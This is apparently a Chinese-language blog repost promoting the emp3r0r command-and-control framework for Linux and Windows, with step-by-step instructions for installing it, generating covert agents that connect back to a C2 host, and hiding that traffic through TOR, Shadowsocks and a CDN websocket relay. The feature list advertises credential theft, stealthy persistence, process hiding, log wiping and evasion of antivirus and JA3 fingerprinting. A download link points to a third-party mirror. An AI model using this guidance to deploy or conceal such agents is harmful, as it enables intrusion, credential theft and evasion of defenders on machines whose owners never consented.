emp3r0r 跨平台C2框架
概述
emp3r0r 是一个C2框架,允许通过终端UI远程管理目标(agent)。它支持多种传输机制进行安全通信。
因由
最初,emp3r0r 是作为我的武器化实验之一开发的。对我来说,这是一个学习过程,尝试实现常见的 Linux 对手技术和我的一些原创想法。
那么,emp3r0r 有何不同?首先,它是第一个针对 Linux 平台的 C2 框架,包括通过它使用任何其他工具的能力。查看这些功能,了解更多使用它的正当理由。
为了支持第三方模块,emp3r0r 具有完整的python3 支持,包含在vaccine
模块中,总共 15MB,以及必要的第三方包,例如Impacket
、Requests
和MySQL
。
特色
漂亮的终端用户界面
使用tmux进行窗口管理
隐身
多任务处理
无需等待任何命令完成
模块支持
通过SSH 和 PTY 支持实现完美的 Shell 体验
与任何 SSH 客户端兼容并适用于 Windows
通过各种方法自动持久化
Nmap、Socat、Ncat、Bettercap 等
凭证窃取
ELF Patcher 持久化补丁
加密并压缩代理二进制文件并以隐秘的方式运行代理
隐藏进程和文件并通过共享库注入获得持久性
联网
端口映射
从 C2 端到代理端,反之亦然
TCP/UDP 同时支持
支持 UDP 的代理端 Socks5 代理
LPE建议
系统信息收集
文件管理
启用可续传下载/上传
SFTP 支持:使用任何 SFTP 客户端浏览远程文件,包括本地GUI 文件管理器
日志清理器
截屏
反病毒
互联网访问检查器
自动将代理从内部网络桥接到 C2
对于半隔离网络
通过代理到代理 SSH 连接的代理
还有更多......
主要功能:
安全传输:通过TLS的HTTP2、Shadowsocks (TCP/UDP)、TOR、CDN通过Websocket等。
跨平台支持:支持所有CPU架构的Linux,Windows (386/amd64)。
灵活配置:支持自定义安装路径、生成agent和通信方式。
安装
下载并安装
选项1:从源码克隆并构建:
git clone https://github.com/jm33-m0/emp3r0r.git
./emp3r0r --release
选项2:从emp3r0r releases下载最新版本。
解压文件并安装:
./emp3r0r --install
自定义安装
默认情况下,emp3r0r安装到
/usr/local/lib/emp3r0r
目录。如果需要安装到自定义目录,可以运行:
PREFIX=/custom/path ./emp3r0r --install
启动C2 UI 确保安装了
tmux
来查看终端UI。首次运行时会生成服务器证书,并要求输入C2服务器的名称。
配置和运行emp3r0r C2
启动C2服务器
安装完成后,运行以下命令启动C2 UI:
emp3r0r
生成Agent可执行文件
进入Agent生成器:
use gen_agent
使用
set <option> <value>
命令设置所需选项:示例:设置C2服务器地址:
set cc_host example.com
配置完成后,生成Agent可执行文件:
run
Agent可执行文件将保存到
~/.emp3r0r
目录中。
升级Agent 要在已连接的目标上升级Agent:
upgrade_agent
通信方式
基于HTTP2的TLS连接(默认 – 规避JA3指纹识别)
默认情况下启用基于HTTP2的TLS安全通信。
规避JA3指纹识别:通过流量混淆,避免通过SSL/TLS客户端指纹识别技术(如JA3)的检测。
Shadowsocks及可选的KCP
Shadowsocks:通过AEAD_CHACHA20_POLY1305加密算法对流量进行混淆,使其难以被检测。
KCP:可以选择启用KCP以优化UDP流量。
启用带KCP的Shadowsocks:
set shadowsocks with_kcp
启用不带KCP的Shadowsocks:
set shadowsocks on
TOR(洋葱路由)
设置TOR隐藏服务:要在emp3r0r中使用TOR,请首先在服务器上设置隐藏服务。
示例TOR配置文件 (
/etc/tor/torrc
):
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 443 127.0.0.1:8000
这里
8000
为C2端口,443
为隐藏服务端口。注意:保持端口443
不变,因为在emp3r0r中这个端口是硬编码的。配置完成后,获取你的onion域名:
sudo cat /var/lib/tor/hidden_service/hostname
这会返回你的
.onion
地址,例如:cc.onion
。生成用于TOR的Agent:生成Agent时,使用TOR的
.onion
地址作为C2服务器地址:
set cc_host cc.onion
这样确保Agent通过TOR进行连接。在运行Agent之前,确保目标系统上已经运行TOR代理(
socks5://127.0.0.1:9050
)。运行Agent(通过TOR连接):
默认情况下,Agent会使用本地的TOR代理(
127.0.0.1:9050
)。首先运行TOR代理,然后启动Agent:
./agent
通过CDN(使用Websocket)
配置CDN:要使用CDN,首先配置CDN提供商(如Cloudflare)将Websocket流量转发到你的C2服务器。
典型架构如下:
agent -> socks5 -> CDN -> Nginx -> emp3r0r websocket server -> CC
Nginx应将Websocket流量代理到emp3r0r C2服务器。示例Nginx配置:
location /emp3r0r {
proxy_pass http://127.0.0.1:9000/ws;
proxy_redirect off;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $http_host;
# 显示真实IP
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
生成用于CDN的Agent:生成Agent时,使用你的域名作为C2服务器地址。例如,如果使用Cloudflare:
set cc_host wss://yourcdn.com/emp3r0r
运行启用了CDN支持的C2服务器:在C2服务器上启用CDN支持:
emp3r0r -cdn2proxy 9000
这里的
9000
是Websocket服务器的监听端口。
上游代理
代理支持:emp3r0r的Agent可以通过上游代理(如HTTP或SOCKS代理)连接到C2服务器。在生成Agent时设置代理地址即可。
Agent选项和功能
C2指标
配置一个“合法”URL(例如
https://github.com
)来隐藏C2流量。Agent会检查此URL,以决定是否连接到C2服务器。
自动代理
Agent可以使用UDP广播进行通信,并形成代理链,以便无法直接访问互联网的Agent可以通过其他已连接的Agent路由流量。
DNS over HTTPS (DoH)
Agent可以使用DNS over HTTPS来安全地解析域名(例如C2连接的域名)。
命令行选项和环境变量
VERBOSE=true
:启用Agent日志记录。PERSISTENT=true
:防止Agent自我删除。REPLACE_AGENT=true
:替换目标上现有的Agent进程。ELVSH=true
:将Agent作为交互式elvsh
shell运行。-version
:查看Agent版本。
高级功能
将Agent引导至C2
该功能允许一个已连接的Agent代理另一个无法直接连接到C2的Agent,通过中间代理实现连接。
示例命令:
use bring2cc
set target 192.168.1.10
运行Agent
直接连接(规避JA3指纹识别)
在目标系统上直接运行Agent可执行文件:
./agent
TOR连接
在目标系统上启动TOR代理,然后运行Agent:
./agent
CDN连接
使用你的域名作为C2服务器,并在生成Agent时指定CDN代理:
set cc_host wss://yourcdn.com/emp3r0r
截图
说明文档
https://github.com/jm33-m0/emp3r0r/wiki
项目地址
GitHub:https://github.com/jm33-m0/emp3r0r
直链下载地址
https://lp.lmboke.com/emp3r0r-master.zip
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。